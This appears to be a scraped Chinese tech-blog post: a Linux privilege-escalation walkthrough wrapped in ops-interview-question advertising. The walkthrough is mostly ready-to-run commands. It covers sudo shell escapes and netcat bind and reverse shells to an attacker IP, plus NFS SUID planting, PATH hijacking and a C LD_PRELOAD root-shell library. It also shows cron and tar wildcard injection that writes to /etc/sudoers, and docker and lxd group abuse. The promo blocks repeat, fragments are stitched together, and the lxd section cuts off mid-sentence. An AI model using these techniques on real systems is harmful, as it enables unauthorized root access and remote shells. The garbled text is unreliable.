2024年最新linux 提权总结_linux提权,2024年最新Linux运维开发的基础

为了做好运维面试路上的助攻手,特整理了上百道 【运维技术栈面试题集锦】 ,让你面试不慌心不跳,高薪offer怀里抱!

这次整理的面试题,小到shell、MySQL,大到K8s等云原生技术栈,不仅适合运维新人入行面试需要,还适用于想提升进阶跳槽加薪的运维朋友。

本份面试集锦涵盖了

  • 174 道运维工程师面试题
  • 128道k8s面试题
  • 108道shell脚本面试题
  • 200道Linux面试题
  • 51道docker面试题
  • 35道Jenkis面试题
  • 78道MongoDB面试题
  • 17道ansible面试题
  • 60道dubbo面试题
  • 53道kafka面试
  • 18道mysql面试题
  • 40道nginx面试题
  • 77道redis面试题
  • 28道zookeeper

总计 1000+ 道面试题, 内容 又全含金量又高

  • 174道运维工程师面试题

1、什么是运维?

2、在工作中,运维人员经常需要跟运营人员打交道,请问运营人员是做什么工作的?

3、现在给你三百台服务器,你怎么对他们进行管理?

4、简述raid0 raid1raid5二种工作模式的工作原理及特点

5、LVS、Nginx、HAproxy有什么区别?工作中你怎么选择?

6、Squid、Varinsh和Nginx有什么区别,工作中你怎么选择?

7、Tomcat和Resin有什么区别,工作中你怎么选择?

8、什么是中间件?什么是jdk?

9、讲述一下Tomcat8005、8009、8080三个端口的含义?

10、什么叫CDN?

11、什么叫网站灰度发布?

12、简述DNS进行域名解析的过程?

13、RabbitMQ是什么东西?

14、讲一下Keepalived的工作原理?

15、讲述一下LVS三种模式的工作过程?

16、mysql的innodb如何定位锁问题,mysql如何减少主从复制延迟?

17、如何重置mysql root密码?

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以点击这里获取!

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

sudo -l查看当前用户可以以sudo运行的命令或者二进制文件

2./etc/sudoers是关于sudo的配置文件,当用户运行sudo命令的时候系统就回去配置文件中查看是否可以运行相关命令

1.sodu vim

当visudo被禁用,可以尝试 sudo vim /etc/sudoers是否可以修改配置文件,从而达到可以sudo su,或者sudo bash的目标

2.git

当 sudo允许执行git命令的时候,可利用

sudo git help config
然后输入
!/bin/bash
sudo git -p help
!/bin/bash

3.find 提权

此时无法执行

执行

sudo find / -exec bash \;

此时find无suid权限,但是可以sudo提权

4.perl

-e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash.

sudo perl -e 'exec bash'
sudo perl -e 'exec "/bin/bash";'

5.python

pty(伪终端库)    pty.spawn生成一个进程

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

6.less

less以root权限浏览文件内容时

sudo less test

其后输入

!bash

获取root shell

7.awk

sudo awk 'BEGIN {system("/bin/bash")}'

8.man

sudo man man

依然是输入!bash

9.vim,vi

sudo vi/vim

进入编辑界面后 !bash

10.如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去

例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可。

11.env

sudo env /bin/bash

12.ftp

sudo ftp
!bash

13.socat/netcat

先插入netcat的用法:

netcat -e选择指定程序,有些机器上出于安全考虑无-e选项

运行-e的机器上为靶机

比如正向shell:

靶机:

nc -lvvp 4444 -e /bin/bash

攻击机

nc ip port

反向shell:

攻击机监听:

nc -lvvp 4444

靶机:

nc -e /bin/bash ip port

当无法-e(反弹shell)的时候:

在攻击机上监听两个端口,例如4444,5555

靶机上执行

nc 192.168.56.141 4444| /bin/bash |nc 192.168.56.141 5555

使得在攻击机4444端口输入的命令可以在5555端口上回显

root权限执行在所有命令前加sudo 就好

14.cp/scp

scp是一个安全复制文件的命令

提权用法与suid相似

如果sudo设置了黑名单,比如不让用sudo find

由于cp无法直接生成一个shell,但是可以sudo cp将find命令复制到其他路径,再sudo find获得root  shell

如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其它目录运行。

三.nfs配置不当提权

NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享。

攻击机查看:

发现有可以来自所有主机连接的/home目录挂载(且攻击机可以以root身份访问nfs)
1.

目的是攻击机以root身份访问挂载目录,传入bash,并且赋予suid(root)权限

首先将攻击机权限提升至root

挂载空目录

mount -t nfs 192.168.56.130:/home /tmp/test

传入bash

cp /bin/bash /tmp/test/rneck

来到目录,赋予bash suid权限

chmod u+s bash

这里我kali传入的bash在ubuntu上无法运行,所以选择了在靶机上先往nfs目录种传入bash,攻击机kali chown,chmod一下就OK了

回到靶机,提权成功

重点是可以以root身份赋予二进制(命令)文件suid权限,这样机器上的目标用户就可以提权

发挥想象力…除了搬bash利用方式还有很多…

四.利用path环境变量进行提权

上演一手移花接木

假设拿到了某台机子的普通用户权限,但是有suid权限的命令不好直接利用,sudo又不知道密码,shadow利用John the Ripper也破解不出密码。那就可以全局搜索一下某些运维程序/文件是否有suid(root属主)权限,如果有的话,可以查看文件看看调用了哪些命令,然后就可以在环境变量里面做些手脚提权。

比如桌面上有一运维文件,属主root,有suid权限

 echo "/bin/bash" > ps

运行后是执行了ps命令

此时在/tmp目录下创建ps文件,并且将 /bin/bash 写入

 echo "/bin/bash" > ps

chmod 777 ps一下

 export PATH=/tmp:$PATH

在环境变量中导入/tmp这个路径,这样系统在寻找ps命令的时候就会优先在/tmp目录下寻找

echo $PATH

或者创建符号链接

ln -s /bin/bash ps

或者直接cp

cp /bin/bash ps

情况:这种情况适用于,给普通用户分配了个可执行程序,且该程序有suid权限,我们又知道该程序会调用哪些命令,那么就可以结合PATH来进行提权。

五.利用LD_PRELOAD环境变量进行提权

LD_PRELOAD是Linux下的一个环境变量,程序运行时都会加载一些so文件,类似于windows下程序加载dll,而LD_PRELOAD可以指定程序运行前加载的动态连接库。
如果sudo -l发现可用的命令不好直接进行提权,可尝试此方法

下面以find为例(find 可以直接提权)

.c代码

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init(){
        unsetenv("LD_PRELOAD");
        setuid(0);
        setgid(0);
        system("/bin/bash");
}

编译

gcc test.c -fPIC -shared -o test.so -nostartfiles

wget下载到目录

执行

sudo LD_PRELOAD=./test.so find

方法的好处是自建的so文件无需root属主或者是suid权限,只需要一个可以sudo执行的命令

苛刻的地方是sudoers之前有特殊配置,比如需要env_keep

否则就会出现报错

六.利用CRON环境变量进行提权

cronjobs是定时任务,在特定的日期和时间执行计划任务。例如定期备份或者定期清理某个目录等都会用到,定义格式如下:

1.可以修改定时任务文件

首先查看目标/etc/crontab,看看有无可利用的文件

若有,转到相应的文件并且修改,如一个py文件并且属主为root,若能修改文件,可添加如下代码

import os
import sys
try:
        os.system("chmod u+s /bin/bash")
except:
        sys.exit()
                

每隔一分钟将 /bin/bash 赋予suid权限

之后

/bin/bash -p

提权

此方法苛刻的地方在于某些定时任务设置的文件普通用户能够修改

2.无法修改定时任务文件

crontab看到文件

vim一下

看到是tar命令,便可以利用

在tar命令中有一个checkpoint参数,即检查点,比如checkpoint=1,则代表压缩过程中每压缩一个文件就去执行一个检查操作。
   而这个检查操作的参数是-checkpoint-action=exec=,后面可以跟要执行的命令。
   利用思路就是我们写入一个可以提提权的sh脚本,这个思路就多了…然后利用checkpoint-action=exec=接一个执行sh脚本的命令即可。

这里创建shell.sh

写入

echo "test ALL=(root) NOPASSWD:ALL" >> /etc/sudoers

输入

echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=bash shell.sh"

这样上面两个文件名就会被tar当作参数执行

一小会后:

七.利用docker进行提权

区别于docker逃逸,相当于是利用docker进行提权

在docker中,是允许访问root用户和docker组中的其它用户的

查看是否在docker组下

cat /etc/group | grep olw

登入docker组

newgrp docker

挂载/root目录到docker,或者/etc等

docker run -v /etc:/mnt -it alpine

之后就为所欲为了

八.利用lxd进行提权

lxc list

查看容器部署情况

查看属组

cat /etc/group | grep test

攻击机

下载alpine

git clone https://github.com/saghul/lxd-alpine-builder.git

构建

cd lxd-alpine-builder 
./build-alpine

开启一个简单的http服务

python -m http.server 2333

目标机器下载

wget http://192.168.56.141:2333/alpine-v3.13-x86_64-20210218_0139.tar.gz
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz
或者重命名
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz  --alias myimage

列出已经存在的image

lxc image list

lxc init来初始化image(可以填别名,也可以填指纹),也就是alpine系统,并创建test账户,通过c参数来配置安全提升策略为true,代表用户test可申请高级权限

lxc init cd73881adaac test -c security.privileged=true

lxc config device命令用来配置设备,add把mydevice设备添加到了test账户中,disk是磁盘挂载,把本机/目录挂载到容器的/mnt/root下,recursive即是否递归,代表是否将所有子目录及所有文件进行挂载,命令如下:



为了做好运维面试路上的助攻手,特整理了上百道 **【运维技术栈面试题集锦】** ,让你面试不慌心不跳,高薪offer怀里抱!

这次整理的面试题,**小到shell、MySQL,大到K8s等云原生技术栈,不仅适合运维新人入行面试需要,还适用于想提升进阶跳槽加薪的运维朋友。**

![](https://img-blog.csdnimg.cn/img_convert/8d34f4b35dc3949893bea7c574c35e8a.png)

本份面试集锦涵盖了

*   **174 道运维工程师面试题**
*   **128道k8s面试题**
*   **108道shell脚本面试题**
*   **200道Linux面试题**
*   **51道docker面试题**
*   **35道Jenkis面试题**
*   **78道MongoDB面试题**
*   **17道ansible面试题**
*   **60道dubbo面试题**
*   **53道kafka面试**
*   **18道mysql面试题**
*   **40道nginx面试题**
*   **77道redis面试题**
*   **28道zookeeper**

**总计 1000+ 道面试题, 内容 又全含金量又高**

*   **174道运维工程师面试题**

> 1、什么是运维?

> 2、在工作中,运维人员经常需要跟运营人员打交道,请问运营人员是做什么工作的?

> 3、现在给你三百台服务器,你怎么对他们进行管理?

> 4、简述raid0 raid1raid5二种工作模式的工作原理及特点

> 5、LVS、Nginx、HAproxy有什么区别?工作中你怎么选择?

> 6、Squid、Varinsh和Nginx有什么区别,工作中你怎么选择?

> 7、Tomcat和Resin有什么区别,工作中你怎么选择?

> 8、什么是中间件?什么是jdk?

> 9、讲述一下Tomcat8005、8009、8080三个端口的含义?

> 10、什么叫CDN?

> 11、什么叫网站灰度发布?

> 12、简述DNS进行域名解析的过程?

> 13、RabbitMQ是什么东西?

> 14、讲一下Keepalived的工作原理?

> 15、讲述一下LVS三种模式的工作过程?

> 16、mysql的innodb如何定位锁问题,mysql如何减少主从复制延迟?

> 17、如何重置mysql root密码?

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友,可以点击这里获取!](https://bbs.csdn.net/topics/618542503)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

题**
*   **77道redis面试题**
*   **28道zookeeper**

**总计 1000+ 道面试题, 内容 又全含金量又高**

*   **174道运维工程师面试题**

> 1、什么是运维?

> 2、在工作中,运维人员经常需要跟运营人员打交道,请问运营人员是做什么工作的?

> 3、现在给你三百台服务器,你怎么对他们进行管理?

> 4、简述raid0 raid1raid5二种工作模式的工作原理及特点

> 5、LVS、Nginx、HAproxy有什么区别?工作中你怎么选择?

> 6、Squid、Varinsh和Nginx有什么区别,工作中你怎么选择?

> 7、Tomcat和Resin有什么区别,工作中你怎么选择?

> 8、什么是中间件?什么是jdk?

> 9、讲述一下Tomcat8005、8009、8080三个端口的含义?

> 10、什么叫CDN?

> 11、什么叫网站灰度发布?

> 12、简述DNS进行域名解析的过程?

> 13、RabbitMQ是什么东西?

> 14、讲一下Keepalived的工作原理?

> 15、讲述一下LVS三种模式的工作过程?

> 16、mysql的innodb如何定位锁问题,mysql如何减少主从复制延迟?

> 17、如何重置mysql root密码?

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友,可以点击这里获取!](https://bbs.csdn.net/topics/618542503)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 17
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值